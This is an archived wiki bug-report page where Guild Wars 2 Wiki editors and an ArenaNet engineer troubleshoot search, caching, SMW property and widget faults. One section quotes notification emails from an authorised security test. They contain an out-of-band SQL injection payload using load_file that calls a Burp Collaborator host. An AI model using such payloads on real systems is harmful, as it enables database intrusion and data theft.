Guild Wars 2 Wiki:Reporting wiki bugs/archive 11

Not actual bugs

Parts of menu not available on phone/phone version

When using the mobile view of wiki on my phone, many parts of the menu are missing (Community portal, Recent changes). Usually I could fix it with a page refresh or two, but now it is has been a persistent issue since the last wiki update. ~Sime 14:21, 4 April 2021 (UTC)

The way we previously implemented it got removed with MW 1.35, so I had to unfortunately remove the associated code from Mediawiki:Mobile.js. All ears if someone knows a new way to modify the menu though. -Chieftain Alex 14:36, 4 April 2021 (UTC)

Marking as not a bug. -Chieftain Alex 16:30, 7 April 2021 (UTC)

API tracking not working in Return to One Path Ends

API tracking not working in Return to One Path Ends for the ore achi. —The preceding unsigned comment was added by Ras (talk • contribs) at 15:15, 19 September 2021‎ (UTC).

See the widgets section. Same bug. -Chieftain Alex 15:58, 19 September 2021 (UTC)

Actually this specifically (I'm guessing the widget bug might have occured while checking though?) is because of the API not exposing the "Ore Miner: Siren's Landing" achievement (and the meta one appears to be missing too (Possibly because of the ore one i wonder?)). And since it doesn't expose it the ID is not set here on the wiki and thus it is not possible to check for completion. This is not a wiki bug; but a API bug. Not much we can do here but to wait for the achievements to show up in the API so the IDs can be retrieved and added to the page. (See also: this and this API request.) Nightsky (talk) 17:07, 19 September 2021 (UTC)

Is the Wiki ok?

I received about 50? 100? emails about some strange Wiki editing. Not sure where they lead as they require signing in. Not sure I feel comfortable following the links. Sorry, not sure where to ask this. Inculpatus cedo (talk) 13:24, 2 November 2021 (UTC)

Inculpatus cedo, can you provide some details about the types and contents of the emails here? If needed, I can also work with you outside the wiki to review the emails and see if they are legitimate. In case you don't know who I am, I am the ArenaNet systems engineer responsible for managing the wikis. Justin Lloyd (talk) 13:34, 2 November 2021 (UTC)

Sure. The Guild Wars 2 Wiki page Main Page has been moved on 2 November 2021 by

Security Test 2, see https://wiki-en-dev.guildwars2.com/wiki/Main_Page for the current revision.

Editor's summary: test

Contact the editor: mail: https://wiki-en-dev.guildwars2.com/wiki/Special:EmailUser/Security_Test_2 wiki: https://wiki-en-dev.guildwars2.com/wiki/User:Security_Test_2

The Guild Wars 2 Wiki page Guild Wars 2: Heart of Thorns has been changed on 2 November 2021 by BuffsEverywhere, see https://wiki.guildwars2.com/wiki/Guild_Wars_2:_Heart_of_Thorns for the current revision.

To view this change, see https://wiki.guildwars2.com/index.php?title=Guild_Wars_2:_Heart_of_Thorns&diff=next&oldid=2332597

For all changes since your last visit, see https://wiki.guildwars2.com/index.php?title=Guild_Wars_2:_Heart_of_Thorns&diff=0&oldid=2332597

Editor's summary: /* Upgrading to Deluxe Edition */

The Guild Wars 2 Wiki page Concept talk:(select load file('\\\\iqcly1xrelr8lfxe5emv7bcfy640swgnibay1mq.burpcollaborator.net\\vgq')) has been changed on 2 November 2021 by Security Test 2, see https://wiki-en-dev.guildwars2.com/wiki/Concept_talk:(select_load_file(%27%5C%5C%5C%5Ciqcly1xrelr8lfxe5emv7bcfy640swgnibay1mq.burpcollaborator.net%5C%5Cvgq%27)) for the current revision.

Editor's summary: Main Page moved to [[Concept talk:(select load file('\\\\iqcly1xrelr8lfxe5emv7bcfy640swgnibay1mq.burpcollaborator.net\\vgq'))]]: test

Contact the editor: mail: https://wiki-en-dev.guildwars2.com/wiki/Special:EmailUser/Security_Test_2 wiki: https://wiki-en-dev.guildwars2.com/wiki/User:Security_Test_2

Most of the 50 or so begin with 'Concept talk:' Inculpatus cedo (talk) 14:03, 2 November 2021 (UTC)

Ah, now I understand. Those are from the dev wiki, which is undergoing some security testing right now. You have several hundred pages on your watchlist and many of those pages have been changed and even renamed by the tester, so you are receiving the watchlist notification emails. I've gone ahead and removed your email address from the dev wiki, just to keep you from getting any further such emails, and I'll take further measures to prevent this for other users now and in the future. I apologize this happened to you in the first place. Justin Lloyd (talk) 14:14, 2 November 2021 (UTC)

Oh, ok. Just wanted to make sure there wasn't something nefarious going on. Thanks. Inculpatus cedo (talk) 14:17, 2 November 2021 (UTC)

Not a bug - Popups disabled

Just an FYI for anyone thinking about posting this, popups extension has temporarily been disabled to see what kind of effect on wiki performance this has. -Chieftain Alex 18:40, 2 November 2021 (UTC)

I haven't noticed the Wiki being any faster without the pop-up information (there are still pop-ups, just all say the same thing). I miss the information. Inculpatus cedo (talk) 20:26, 3 November 2021 (UTC)

I also haven't noticed it being faster, would say it is still about the same (sometimes the loading time is short, sometimes it takes ages). ~Sime 18:32, 13 November 2021 (UTC)

Popups were re-enabled on the 16th. -Chieftain Alex 09:59, 18 November 2021 (UTC)

Automatic waypoint codes are wrong

Automatic waypoint codes are wrong when waypoint names are correct. On the page In a Grain of Sand the codes are in fact the codes of the waypoint a row above.

All seems ok to me (copied the chatlinks, pasted ingame, matched the names). Can you (a) try again, (b) state what browser you're using. -Chieftain Alex 17:14, 31 December 2021 (UTC)

No further information provided, assumed not a bug. -Chieftain Alex 17:34, 27 February 2022 (UTC)

Fixed bugs

Image caching bug

When I look at the Soggorsort Rotunda target on the Guild Trek list, the thumbnail that shows up on the right is of the 2013 file version, rather than the 2018 one. On the image page itself it shows the correct, newer image. I tried Ctrl+F5 clearing my browser cache, and using the purge button on the top of the page, but neither fixed it. -- kazerniel (talk | contribs) 21:49, 24 January 2021 (UTC)

the only page worth purging wiki-side for cache when dealing with image bugs is the actual File page. I've purged the server-side cache on File:Trek Soggorsort Rotunda Location.jpg (using the Purge tab), then cleared my personal cache on Guild Trek with CTRL+F5, and it seems OK to me now (I was seeing your original bug as reported). -Chieftain Alex 21:58, 24 January 2021 (UTC)

Thanks, after another Ctrl+F5 it now works for me too! -- kazerniel (talk | contribs) 09:04, 25 January 2021 (UTC)

Newly created user accounts don't appear in Special:RecentChanges

Basically mw:Extension:RecentChangesLogFilter doesn't work properly due to the changes to the mw hooks. same issue. I suggest we disable the extension until it is rewritten for 1.34 for the moment.

For reference, about 20 accounts are being created per day versus 350 edits so the proportion is low enough to not need the filter active atm. -Chieftain Alex 20:08, 31 March 2020 (UTC)

I’m aware of this and on it. You can use the new user log for now. poke | talk 20:32, 31 March 2020 (UTC)

I've temporarily updated MediaWiki:Recentchangestext to link to the special page you suggested, I still think this needs fixing though. -Chieftain Alex 19:45, 28 September 2020 (UTC)

Marking this as resolved since (A) we've removed the extension, and (B) I've added a snippet of CSS to hide most of the log entries when viewed with grouped recent changes. Poke can rewrite and bring the extension back anytime. -Chieftain Alex 16:20, 7 April 2021 (UTC)

Both the “Cologne Blue” and “Modern” skins are missing some of their css rules

At least infoboxes, the mainpage, and (every?) tables have no styling when using those skins, falling back to the useragent sheets. I have tested three different browsers to confirm that it was not my browser acting up. All three other skins (“MonoBook”, “MinervaNeue”, and “Vector”) seem to be working properly. --Rustre.5980 (talk) 12:04, 23 March 2021 (UTC)

Whoa, I'm actually astonished anyone uses "CologneBlue" or "Modern". Thanks for reporting this, I'm genuinely intrigued as to who uses it (this goes for anyone else reading this).

The lack of styling in "CologneBlue" and "Modern" skins would be because I've basically gutted the CSS from common.css (which applies to all the themes at once) in the last weeek (consider it a scream test to see who actually uses it).

The removal of styling is because the common themes contain a lot of what I'd call "not dark friendly" CSS, and I'm currently working on converting the Vector.css theme into a dark theme. I can paste the light-friendly css into the central stylesheets for CologneBlue and Modern but we were thinking of removing them with the next wiki update (within the next month). -Chieftain Alex 22:56, 24 March 2021 (UTC)

Well, that is one scream from me (Modern) but I would not be surprised if no other user come out of the woodwork about those skins. --Rustre.5980 (talk) 07:35, 25 March 2021 (UTC)

Just for the record I've put the rules back in (originally from common.css) for this skin + these two didn't seem to get removed. -Chieftain Alex 11:37, 2 April 2021 (UTC)

Lost Changes by clicking "Show preview"

I've lost changes at two different occasions through using the "Show preview" button. Both times I wasn't logged in. (That's why I will submit this bug report without previewing it first.)

--217.229.91.226 23:37, 31 March 2021 (UTC)

I've had the same thing happen to me at least once as well. Shortly before updating the special events page to show the olmakhan event as over. So shortly after the end of the maintenance. I didn't pay attention if i was already logged in or not at the time though. Nightsky (talk) 02:05, 2 April 2021 (UTC)

Had it happen again just about now. Had the bellow paragraph written up (the bit i added together with the diff that added this), wanted to peview it, it reset and i lukily had to not write it again because i happened to have copied it beforehand. Wasn't logged in. Nightsky (talk) 00:58, 3 April 2021 (UTC)

Hi, we made a change this morning that could affect this bug. Could you please check again to see if it's happening? --Stephane Lo Presti talk 15:08, 7 April 2021 (UTC)

Seems ok now but this was intermittent afaik. -Chieftain Alex 16:30, 7 April 2021 (UTC)

While it hasn't been long since and it's probably not sure it won't happen again, i at least haven't encountered it again so far. I'll have you know if i run into it again within like the next week or two though. Nightsky (talk) 17:46, 8 April 2021 (UTC)

Still havent had it happen again so whatever the change was it appears to have worked. Nightsky (talk) 15:59, 17 April 2021 (UTC)

Attempting to purge a page leads to an endless cycle and no purging

At least currently and while not logged in which is anoying if it's the Daily page and it's stuck on before reset. Nightsky (talk) 02:05, 2 April 2021 (UTC)

I have also encountered this bug. I can't see any changes in the way MW 1.35 is supposed to purge pages. -Chieftain Alex 11:38, 2 April 2021 (UTC)

Hi, we made a change this morning that could affect this bug. Could you please check again to see if it's happening? --Stephane Lo Presti talk 15:08, 7 April 2021 (UTC)

Seems ok now but this was intermittent afaik. -Chieftain Alex 16:30, 7 April 2021 (UTC)

While it hasn't been long since and it's probably not sure it won't happen again, i at least haven't encountered it again so far. I'll have you know if i run into it again within like the next week or two though. Nightsky (talk) 17:46, 8 April 2021 (UTC)

Still havent had it happen again so whatever the change was it appears to have worked. Nightsky (talk) 15:59, 17 April 2021 (UTC)

Special:Ask - no results

The semantic search page stopped working after the recent maintenance. If I fill conditions and printout selections and then click "Find results" the page reloads but all input is lost and no results are shown. The form uses POST. If I use my browser's dev tools to change the form to method="get", or use a bookmark, it works fine.

Filling in "[[Has context::NPC]]", ?Has NPC level + setting result limit to 5 seems to work, so I'm not immediately being able to reproduce this issue. Can you give an example of exactly what you're filling out in each field? (or a screenshot)

Also looks like the titles of the different result formats at the bottom of the dropdown list are missing/undefined, e.g. ⧼srf_printername_interquartilemean⧽ -Chieftain Alex 12:31, 2 April 2021 (UTC)

Hm... seems to be a caching problem. I tried your query (Has context NPC, Has NPC level, 5 results) and got back the Special:Ask page without my query and without results. I tried to Shift-Reload the page. Sometimes I get results, most times I don't. 94.230.208.147 13:18, 2 April 2021 (UTC)

I had this happen as well. (Again, while not logged in.) I specifically entered simply [[Has game id::+]] and then clicked find results. Nothing else; yet it won't show any results but reset instead. Wouldn't be surprised if this were happening for other queries as well. Nightsky (talk) 00:58, 3 April 2021 (UTC)

Hi, we made a change this morning that could affect this bug. Could you please check again to see if it's happening? --Stephane Lo Presti talk 15:09, 7 April 2021 (UTC)

Seems ok now but this was intermittent afaik. -Chieftain Alex 16:30, 7 April 2021 (UTC)

Seems to be working fine at least on my end for the time being now. Nightsky (talk) 17:46, 8 April 2021 (UTC)

The unsigned bug report is from me. I've tested the page a bit and don't see issues anymore, either. 79.237.181.45 07:24, 13 April 2021 (UTC)

Guess that means that this can be marked as solved too then; so done that. Nightsky (talk) 15:59, 17 April 2021 (UTC)

Autocompletion on search box uses Article (or Special) namespace only

This issue is known about by ArenaNet. We have attempted initial debugging and my personal current conclusion is that it appears the API call being made - e.g. https://wiki.guildwars2.com/api.php?action=opensearch&format=json&formatversion=2&search=Template%3ASTD&namespace=0%7C1%7C2%7C3%7C4%7C5%7C6%7C7%7C8%7C9%7C10%7C11%7C12%7C13%7C14%7C15%7C102%7C103%7C106%7C107%7C108%7C109%7C200%7C201%7C202%7C203%7C274%7C275&limit=10 - isn't returning any valid results, when it should be, considering that this syntax matches that used on mediawiki etc. Weirdly the "Special" namespace works ok. Current suspected extensions affecting this functionality are the ones providing the popups, i.e. Extension:Popups, Extension:TextExtracts or Extension:PageImages. -Chieftain Alex 23:28, 25 March 2020 (UTC)

So ArenaNet have traced the issue to mw:Extension:Titlekey. Paraphrasing: "[A] There's a known bug where namespace suggestions broke due circa MW 1.32 (which has a suggested patch as of today, however applying this patch throws an error!) however this conflicts with [B] another commit where they're trying to get letters with-accents to appear in suggestions when you type without-accents."

Links for A: https://gerrit.wikimedia.org/r/#/c/mediawiki/extensions/TitleKey/+/497086/ , https://github.com/MabiWorld/TitleKey/commit/35d6b56469455bd3f1c2e6849a32555f676ca6f3 - and the error when trying to use the patch Error from line 109 of /var/www/sites/gww-en/includes/api/SearchApi.php: Call to undefined method TitleKey::getProfiles()

Links for B: https://gerrit.wikimedia.org/r/#/c/mediawiki/extensions/TitleKey/+/382968/

For the moment this means we have two options, either:

(1) Leave the extension as it is, which provides case-insensitive search autocompletion results for Mainspace articles only. This impacts basically only editors.

(2) Disable the extension, which will require us to type pages in a case-sensitive manner but will match on any namespace. This will impact viewers and editors.

Seems like we have to live with Option 1 for the moment. -Chieftain Alex 23:08, 1 April 2020 (UTC)

What about option 3, using another search extension? :P --BuffsEverywhere (talk) 23:53, 2 April 2020 (UTC)

(reindent) Do you mean things like typing "User:Chief" no longer resolves to "User:Chieftain Alex"? I didn't want to start a new section if this is the same bug.

It's unfortunate that this cannot be fixed. As a non-editor, I use this to find categories and pages such as Tanetris' guide to gear. I can remember that user's name. I can never remember what the page is called or how else to find it.

Thanks for trying to find a solution. My compliments to coder(s) behind the SAB theme. 157.131.222.238 04:41, 20 April 2020 (UTC)

Sorry for the late reply but yes, what you describe is the same search bug as this topic. -Chieftain Alex 06:07, 29 April 2020 (UTC)

What if mw:Extension:TitleKey won't get an update soon? Picking up BuffsEverywhere suggestion, what about: mw:Extension:AdvancedSearch, mw:Extension:CirrusSearch and mw:Extension:Elastica, used by many wikis, e.g. wikipedia and mediawiki. See here for the provided features: mw:Help:CirrusSearch, but most importantly: we would be able to see namespace previews. Whether we want to browse templates or properties as wiki editor, files or categories as wiki user, right now it's quite tedious to find them without any preview. --Tolkyria (talk) 19:50, 29 April 2020 (UTC)

Please consider replacing TitleKey with an alternative. Not having autocompletion is really annoying! --BuffsEverywhere (talk) 21:23, 26 May 2020 (UTC)

(Reset indent) Guild Wars 2 Wiki talk:Requests for technical administration#Removal of the broken mw:extension:TitleKey and replacement with something that works - discussion raised. If you think anything has changed from the above, please chime in. I'll wait a day or two for feedback then put a tech request in. -Chieftain Alex 21:15, 7 December 2020 (UTC)

This has already been done by now and it seems to be/have been doing great as far as i can tell. Nightsky (talk) 17:50, 13 September 2021 (UTC)

Database error received when searching

Searching for "Great work! Now train your essence manipulation Mastery on Jormag's minions outside the walls of the keep." in Special:Search produces a database error. See "Great+work!+Now+train+your+essence+manipulation+Mastery+on+Jormag's+minions+outside+the+walls+of+the+keep." this. Removing the quotes around the phase appears to work in this instance but the error is unexpected. Cutting out any words from the quote also appears to work. (page with this quote is Researcher Yarixx).

Reported by Adeira Tasharo on discord. -Chieftain Alex 16:26, 2 April 2021 (UTC)

This appears to be caused by a MySQL full-text search error that may require some database parameter tuning. I have a support case opened with AWS and will update here when I have a resolution. Justin Lloyd (talk) 12:47, 7 April 2021 (UTC)

It turns out that the MySQL parameter that needs tuning is currently not available in the set of parameters able to be tuned within AWS Aurora, but it is being worked on though with no ETA (extensive testing is needed), so unfortunately there is no fix for the exact issue at this time. Hopefully the workaround will suffice for the time being, but I will be sure to stay on top of this issue and follow up when there is a change on the AWS side. Justin Lloyd (talk) 17:25, 7 April 2021 (UTC)

The database change was made a little while ago and I did some quick testing and didn't get a database error. That said, a big enough query can potentially take long enough to timeout, resulting in a "504 Gateway Time-out" message, and that's a separate issue that I'm hoping the move to CirrusSearch will resolve. Let me know if you have any further/other issues regarding this. Justin Lloyd (talk) 17:34, 7 July 2021 (UTC)

Superb great work, marking as resolved. -Chieftain Alex 18:16, 7 July 2021 (UTC)

Searching for any article with "-" causes a database error. See here --BuffsEverywhere (talk) 13:42, 12 July 2021 (UTC)

This is a long-standing bug in MediaWiki. You can work around it with quotes, e.g. "-" (which doesn't return anything) but "aux-1" brings up that page and "aux-" does return results with the AUX-1 page being the main result. Justin Lloyd (talk) 14:18, 12 July 2021 (UTC)

Currently being tracked under https://phabricator.wikimedia.org/T221560

I have added an additional line into MediaWiki:Databaseerror-text such that https://wiki.guildwars2.com/index.php?title=Special%3ASearch&search=a+-+b&go=Go will give a little clue as to the issue. -Chieftain Alex 17:34, 12 July 2021 (UTC)

Searching for things with hyphens (or plusses) no longer seems to cause a database error with the new search extension in place so i'm guessing this can be marked as resolved once the additional text for it has been removed from MediaWiki:Databaseerror-text again. (May also want to considder potentially removing MediaWiki:Search-summary too.) Nightsky (talk) 17:50, 13 September 2021 (UTC)

Property's allows value are stuck

We added the [[Allows value::Dragon Response Mission]] to the Property:Has location type (see also smw:Help:Special property Allows value). While the special smw property Allows value stores this new value (see Special:Browse/:Property:Has location type), the Constraint schema doesn't recognize it which should be the internally relevent part. Furthermore, we also removed an allowed value, nevertheless the allowed values in the constraint schema didn't update; it's stuck. Hence it doesn't recognize "Dragon Response Mission" as valid location type (see e.g. Dragon Response Mission: Metrica Province in the infobox or the smw tool Special:ProcessingErrorList). Neither purging nor deleting + restoring the page (to somehow force a property rebuild, I don't know if this is resonable approach at all) solved this problems (see also Property talk:Has location type). Can this be fixed by running a smw backend repair script? --Tolkyria (talk) 09:27, 19 November 2020 (UTC)

Do you recall we used to have "Has game context"? It so totally broke that we had to create a whole new property. We also used to have another very widely used property with fixed values.. we ended up removing all of the allowed property restrictions. So this isn't the first time we've had this occur, but hopefully it isn't quite that bad.

Not sure what button Kvothe tried, as a full rebuild on this wiki takes a few days and breaks loads of templates whilst rebuilding- we should put up a site notice if we're doing that.

If you get one of the admins to ping Stephane/Ruby on discord then they can get Justin to have a look. Otherwise I'll have a look when I get my pc working next week (hopefully), I however wonder be able to see much more in terms of smw than you though. -94.2.31.5 17:30, 19 November 2020 (UTC)

Hey all, I have this page on my watchlist. :) I saw the initial message but since I'm not really familiar with how to use SMW in general and specifically the complex ways in which it's used on these wikis, I held off until there was further discussion on the issue. That said, I'm happy to do what I can to help with this, so if there is a maintenance script that might help (I run rebuildData.php on every major upgrade), I can certainly do that, but I'd definitely want to ensure the SMW experts here feel such a nuclear approach would be warranted. Thoughts? Justin Lloyd (talk) 17:35, 19 November 2020 (UTC)

Okay, there are several answers, I'll try to group them a bit:

• Alex, the property "Has game context" was before my time. Trivia: the only time I worked with the "Has game context" property was in 2019 when I changed it to "Has context" in an inline query, four years after this incident.
• I'll change the in-text property annotation to the #set annotation in the {{Location infobox}}, not longer suppressing the link but still showing the smw warning (maybe I'll hide this as well).
• I think Kvothe already rebuilt the whole wiki in less then 20 hours, if I understood his comments correctly, see the property talk page, using this smw:Help:Repairing SMW's data#Using a special page.
  In the meanwhile I doubt that a simple rebuild command will fix this (it's just a feeling, but based on what we (especially Kvothe) already tried, again see the property talk page). I'm not familiar with the smw backend but I think that the property page somehow lost its connection with its internal representation. E.g. the Property:Has location type shows the stuck Constraint schema tab which isn't updated when removing or adding new allowed values (note that no other property shows this tab in general); as already stated above, the special Property:Allows value (connected with the page) is up to date. Hence, I suspect that we need some kind of "purge exactly this property" command, however not sure if something like this even exists.
• Probably, we should wait for Alex and give him some time to investigate it before we take further actions.

--Tolkyria (talk) 18:19, 19 November 2020 (UTC)

Reading smw:Help:Maintenance script rebuildData.php, there is the parameter --page=<page>, so what about this: php rebuildData.php --page="Property:Has location type" -v, there is also the option -f ("Fully delete all content instead of just refreshing relevant entries. This will also rebuild the whole storage structure. May leave the wiki temporarily incomplete."), not sure how dangerous this option is or if it's actually doing what we want, namely completely reseting the property. --Tolkyria (talk) 18:54, 19 November 2020 (UTC)

There are a couple of SMW maintenance scripts I run daily, as you can see in https://wiki.guildwars2.com/wiki/Special:Log?type=smw&user=&page=&wpdate=&tagfilter=, specifically I run rebuildData.php --skip-properties --dispose-outdated, which obviously skips properties. So I can try your suggestion if there's further consensus that it's likely safe. We could also reproduce the issue and test whatever fix on the Dev wiki first for those who have access to it. Let me know what you think. Justin Lloyd (talk) 20:28, 19 November 2020 (UTC)

Sorry, I was probably too impatient, in the end it currently affects only three pages; right now we won't need more allowed values, just for the future it would nice to have an actually editable property. Let's wait for Alex until he got his new PC, he has more power and knowledge to look into it properly.

Regarding the reproducibility, we created [[Property:Test]] and copied the same wiki text there, it has no issues at all. --Tolkyria (talk) 22:11, 19 November 2020 (UTC)

Rebuilding the property page alone seems ok, I think tolkyria's fragment should be ok to run. (assuming -f is compatible with --page selector). I am wondering if any page refering to that property will also need a kick but we can figure that out later. Justin can we try a one off run of php rebuildData.php --page="Property:Has location type" -v (without "f" as a first attempt). -Chieftain Alex 20:26, 24 November 2020 (UTC)

Alex, I tested the command in dev and it seemed ok, so I went ahead and just did live as well. Hope it helped! Justin Lloyd (talk) 20:34, 24 November 2020 (UTC)

Unfortunately it's still bugged, you can check it with e.g. {{#set: Has location type=Test}} in mainspace or userspace (preview is enough), if there is no smw warning then it worked. Note that we removed all allowed values, hence setting it to "Test" should work and should not display a warning; however, the warning sign is there and displays the old stuck allowed values list: "Continent, Region, Zone, City, Lobby, Activity, Guild hall, Area, Point of Interest, Dungeon, ..." --Tolkyria (talk) 21:08, 24 November 2020 (UTC)

I just tested it with the -f flag on dev and that still shows the bug. Also, just FYI, it took about 18 seconds to run and probably broke the wiki during that time, so doing it in live would certainly necessitate a short, early morning downtime. Justin Lloyd (talk) 21:15, 24 November 2020 (UTC)

(Reset indent) For the record, we've implemented a workaround for the moment where we've created a duplicate property [[Property:Has location type 2]]. Until this issue is fixed we'll leave this workaround in place (who knows, might be fixed next time we do a complete SMW rebuild). -Chieftain Alex 21:10, 4 December 2020 (UTC)

This property magically became unstuck after the most recent wiki update. See Property talk: Has location type#Post update. --BuffsEverywhere (talk) 06:47, 20 May 2021 (UTC)

User:Relyk/SMW/location tree

Well, that. It appeared a short while ago on Special:ProcessingErrorList (broken query), and can't be visited as it gives 504 timeout every time I try to look. It's not a high priority, but I'd like to see what causes it and/or fix the broken query. DJemba (talk) 10:11, 26 April 2021 (UTC)

I've noticed that too after adding the allows values to Property:Has location type. I had a short glance at it then and figured it might be "empty" because it times out, though since i didn't have a thorough look at it i'am not at all certain. I'll edit it to not time out anymore for the time being. Remains to be seen if it still shows up as error after that then. Nightsky (talk) 18:09, 26 April 2021 (UTC)

Should be good now. I'm not sure weather or not to add a further |limit=100 to the ask query that's inside of the arraymap but it's no longer on Special:ProcessingErrorList and also doesn't time out anymore now (at least for me). Nightsky (talk) 18:57, 26 April 2021 (UTC)

Link to Special:ListTransclusions missing from sidebar on every page

Previously I am virtually certain there used to be a sidebar button linking to Special:ListTransclusions with the current page name entered in the top of it. That link isn't there anymore. I guess MW changed the functionality associated with the hook.

NB: Actual special page still entirely functional. -Chieftain Alex 23:03, 2 April 2021 (UTC)

Deprecation notice on mw:Manual:Hooks/BaseTemplateToolbox is probably related, apparently since 2017, seems the replacement is mw:Manual:Hooks/SidebarBeforeOutput which has similar syntax. -Chieftain Alex 23:14, 2 April 2021 (UTC)

Fixed by the extension update released by poke for MW 1.36. -Chieftain Alex 22:19, 22 October 2021 (UTC)

Widgets stop working

Widgets like Widget:Game link or Widget:Game mode buttons stop working after some time, I assume they are not loaded properly. First I though this is only an aftermath of today's wiki upgrade, but it turns out that this bug reappears on pages that I already purged and considered as fixed. Interestingly, it cannot be "fixed" with a null edit which does nothing; only ?action=purge restores it properly, at least for some time.

Hard to list an example, as someone might purge it in the meanwhile, but looking in the Category:Split skills (maybe not the first ones) should yield an example. There the bug is indicated by all game mode buttons being gray (instead of one being highlighted red) and a missing Game link in the infobox. --Tolkyria (talk) 20:19, 1 September 2021 (UTC)

They throw an Uncaught ReferenceError: <function> is not defined in the console, e.g. for the functions SwitchGameMode (Widget:Game mode buttons) or gamelink (Widget:Game link).

Note that I found a page where Widget:Game mode buttons is working but Widget:Game link not. --Tolkyria (talk) 20:39, 1 September 2021 (UTC)

How odd. I'm surprised if this is directly related to today's update. I am however able to reproduce this error. Currently game link is setup to have one script that loads once per page (with var gamelink), and then the function is called inline with onclick attributes within the inserted html. The only way I can think of that the function is not defined, is either (A) the function within the script element loads too slowly and the html straight after it is trying to call it too early, or (B) the script does not load at all.

I suppose the good news is that I can't think (off the top of my head) of any other high-traffic widgets that have the same setup. The way game mode buttons is written is fairly clever (read: annoying) but I think we could rewrite it. Game link I'd rather not rewrite and I'm more concerned about. It may be that we need to make minor edits to those widgets to get them to reprocess the text files that are written on the back end when the widgets are saved. I've made a null edit on Game mode buttons, and purging Distracting Daggers seemed to make it work. I'll check that page again tomorrow evening and see if its working or not. -Chieftain Alex 21:15, 1 September 2021 (UTC)

Looking at "game mode buttons" - it's got a defer function to wait for jquery to load for 40ms. I wonder if the wiki loads the page fast enough (maybe 30ms) that the html is loaded prior to 40ms and therefore tries to call a function it isn't ready for yet. We can rewrite that widget to not use jquery I'm sure. I always hated the jquery color module too.

I've yet to find a page with broken "game link" - this one doesn't use jquery anymore so can't be the same issue. -Chieftain Alex 21:20, 1 September 2021 (UTC)

For me the bugged game link appears on pretty much any infobox page with an id, e.g. any item/skin page.

It suspect that this is a pure widget loading bug. For example I also found a page where the style defined in Widget:Filter table wasn't loaded, strangely the rest, i.e. the filtering, was working though. So rewriting the widget Game mode buttons makes no sense for me at this point.

What about the fulltext indexing? Does this happen at saving the page and does this need more time than before? --Tolkyria (talk) 21:53, 1 September 2021 (UTC)

(Edit conflict) I've encountered a broken game link on the Mystic Coin page earlier today. Unfortunatelly the only thing i checked before purging was the console (which had the same error as above) and the script element underneath the div for the chat code in the infobox. To my surprise it contained gamelink('gamelink-23'); instead of gamelink('gamelink-1'); as one'd expect for the first and only chat code on a page. So it could be something's up with the counting in the templat(e|ing) engine used by the widget extension sometimes leading to things not being included propperly when the count's to high/not as expected. That's my guess at least. Nightsky (talk) 21:57, 1 September 2021 (UTC)

While i was having trouble encountering any missing ones while loggged in, while logged out i've found one ones almost imidatelly. (Page: Equinox Warhorn Skin (Special thanks to Special:Random for taking me there.)) It does indeed seem the countings malfunctioning and it's thus not behaving/including things propperly. The counts were at gamelink('gamelink-1548'); and gamelink('gamelink-1549'); in this case compared to the purged versions of gamelink('gamelink-1'); and gamelink('gamelink-2'); and the script and style being included as well. In short somethings definetelly up/interfering with smarty (i think is the name of the templat(e|ing) engine the widgets use?)/widgets. Nightsky (talk) 22:11, 1 September 2021 (UTC)

What if the $GameLink_counter suddenly become global? I know that's a bold theory, but how else can we explain the following:

I have set up three sandbox pages containing * Link: {{game link|item|19700}}, after some time I reloaded my sandbox pages pages quickly one after the other. The three pages bugged out, and (as Nightsky explained above) in the inspector I got gamelink-231 on the first sandbox page, gamelink-232 on the second and gamelink-233 on the third. Now tell me that this isn't global. --Tolkyria (talk) 22:51, 1 September 2021 (UTC)

I've noticed you've set them up and was wondering why the values were increasing. You reloading them explains that. That's at least one thing explained.

Wonder what exactly's causing it though. The thing i've put into Widget:Test seems to do fine. Maybe it's that it's not on it's own page/template or that the equals check is missing? Not sure either way. But it does indeed seem global. Nightsky (talk) 23:02, 1 September 2021 (UTC)

I can't seem to get them to increase consistently but the values are off sometimes. Don't think this is something i can figure out. Nightsky (talk) 23:50, 1 September 2021 (UTC)

As the only options i can think of at the moment (ignoring the technically also available "ignore for a while and see if it fixes itself" option) are:

1. Figure out what's causing it and fix it, if in any way possible; which as it stands seems to be something Justin would have to do, since it being seemingly global doesn't seem detectable/resolvable from only looking onto the wiki; provided the issue truly lies with widgets/the widgets templating, which is what it seems like.
2. Move things to common.js, which Alex would have to do because of edit permissions. (This would require the code of Widget:Game mode buttons to be rewritten in js and other scripts to be adjusted to use e.g. classes instead of ids and would also prohibit anyone not an admin from editing them, unlike things are now, too.)
3. Always include all code all the time; which actually doesn't seem like it would run into inclusion size limitations on such pages like the subpages of chat code since the widgets don't appear to count much against those but would still be unecesarily duplicating code.

In short, nothing i can or will do; as things are standing/presenting now, for the reasons detailed above. Nightsky (talk) 18:09, 2 September 2021 (UTC)

I haven't been here for a week now; I can't find any ocurrence of this bug anymore, so it was indeed just an aftermath and fixed itself after things settled down or am I missing something? --Tolkyria (talk) 07:28, 9 September 2021 (UTC)

Nevermind, I found it again after not finding it on the same pages I checked in the morning. Hard to confirm any correlation, but now I found it only on skill/trait infobox pages after a skill/trait page related template was edited (namely Template:Version history table header‎‎ transcluded on pretty much all skill/trait pages). All other infobox pages I checked randomly, e.g. item infobox or skin infobox, were okay, the game link widget was working fine. So for me it seems that the pages rebuild too quickly (or somehow interact while rebuilding or whatever) after a widely used template was edited and thus hundreds of pages (where the template is transcluded) in the job queue are refeshed at the same time. --Tolkyria (talk) 10:51, 9 September 2021 (UTC)

If you're looking for a corelation; it seems anytime it doesn't work the parser output includes an additional line of Parsed by use1a‐05‐bbb2.aws.arena.net imidiatelly following the NewPP limit report line. Which leads me to think that (the) AWS is/are interfering.

Also, it seems the option that i hoped would be ignored, even though technically present, wasn't ignored. At least not as much as i hoped it would be i suppose. Nightsky (talk) 16:09, 9 September 2021 (UTC)

That additional parser line of output is really weird. I'll dig into the server and wiki debug logs to see if I can find anything that might help with this issue. Justin Lloyd (talk) 16:12, 9 September 2021 (UTC)

It also affects the Widget:Infobox map, at least I have found NPC pages where the infobox map was missing. Viewed it in Firefox/Chrome, logged in/logged out, icognito mode, used Ctrl+F5, performed null edits, the infobox map created by the widget didn't appear. Nothing new, only after hitting the purge button it appeared. The browser's console wasn't showing any error as far as I checked it. --Tolkyria (talk) 13:37, 10 September 2021 (UTC)

Can you provide a specific example that reliably reproduces the problem so I can see exactly what is happening? It's hard for me to fully understand the nature of the problem given the complexity this wiki's use of widgets, templates, etc. and my lack of use of those things. I'm wondering if this has to do with the Widgets extension's compiled_templates directory and possibly with how I push out MediaWiki updates. Justin Lloyd (talk) 13:55, 10 September 2021 (UTC)

